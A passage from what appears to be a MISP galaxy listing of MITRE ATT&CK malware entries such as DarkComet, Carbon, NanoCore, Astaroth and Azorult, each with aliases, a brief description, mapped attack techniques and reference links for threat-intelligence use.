uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
KeyRaider - S0288
[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)
The tag is: misp-galaxy:mitre-malware="KeyRaider - S0288"
KeyRaider - S0288 is also known as:
-
KeyRaider
KeyRaider - S0288 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
Links |
NotCompatible - S0299
[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)
The tag is: misp-galaxy:mitre-malware="NotCompatible - S0299"
NotCompatible - S0299 is also known as:
-
NotCompatible
NotCompatible - S0299 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428" with estimative-language:likelihood-probability="almost-certain"
Links |
UBoatRAT - S0333
[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)
The tag is: misp-galaxy:mitre-malware="UBoatRAT - S0333"
UBoatRAT - S0333 is also known as:
-
UBoatRAT
UBoatRAT - S0333 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ |
DarkComet - S0334
[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)
The tag is: misp-galaxy:mitre-malware="DarkComet - S0334"
DarkComet - S0334 is also known as:
-
DarkComet
-
DarkKomet
-
Fynloski
-
Krademok
-
FYNLOS
DarkComet - S0334 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET |
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/ |
Carbon - S0335
[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)
The tag is: misp-galaxy:mitre-malware="Carbon - S0335"
Carbon - S0335 is also known as:
-
Carbon
Carbon - S0335 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/ |
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/ |
NOKKI - S0353
[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)
The tag is: misp-galaxy:mitre-malware="NOKKI - S0353"
NOKKI - S0353 is also known as:
-
NOKKI
NOKKI - S0353 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
NanoCore - S0336
[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)
The tag is: misp-galaxy:mitre-malware="NanoCore - S0336"
NanoCore - S0336 is also known as:
-
NanoCore
NanoCore - S0336 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.digitrustgroup.com/nanocore-not-your-average-rat/ |
Astaroth - S0373
[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018)
The tag is: misp-galaxy:mitre-malware="Astaroth - S0373"
Astaroth - S0373 is also known as:
-
Astaroth
Astaroth - S0373 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research |
https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/ |
BadPatch - S0337
[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)
The tag is: misp-galaxy:mitre-malware="BadPatch - S0337"
BadPatch - S0337 is also known as:
-
BadPatch
BadPatch - S0337 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/ |
FlawedGrace - S0383
[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)
The tag is: misp-galaxy:mitre-malware="FlawedGrace - S0383"
FlawedGrace - S0383 is also known as:
-
FlawedGrace
FlawedGrace - S0383 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
Micropsia - S0339
[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)
The tag is: misp-galaxy:mitre-malware="Micropsia - S0339"
Micropsia - S0339 is also known as:
-
Micropsia
Micropsia - S0339 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.talosintelligence.com/2017/06/palestine-delphi.html |
https://blog.radware.com/security/2018/07/micropsia-malware/ |
PowerStallion - S0393
[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)
The tag is: misp-galaxy:mitre-malware="PowerStallion - S0393"
PowerStallion - S0393 is also known as:
-
PowerStallion
PowerStallion - S0393 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ |
Azorult - S0344
[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016. In July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
The tag is: misp-galaxy:mitre-malware="Azorult - S0344"
Azorult - S0344 is also known as:
-
Azorult
Azorult - S0344 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
Denis - S0354
[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan.(Citation: Cybereason Oceanlotus May 2017)
The tag is: misp-galaxy:mitre-malware="Denis - S0354"
Denis - S0354 is also known as:
-
Denis
Denis - S0354 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
Links |
Seasalt - S0345
[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)
The tag is: misp-galaxy:mitre-malware="Seasalt - S0345"
Seasalt - S0345 is also known as:
-
Seasalt
Seasalt - S0345 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
OceanSalt - S0346
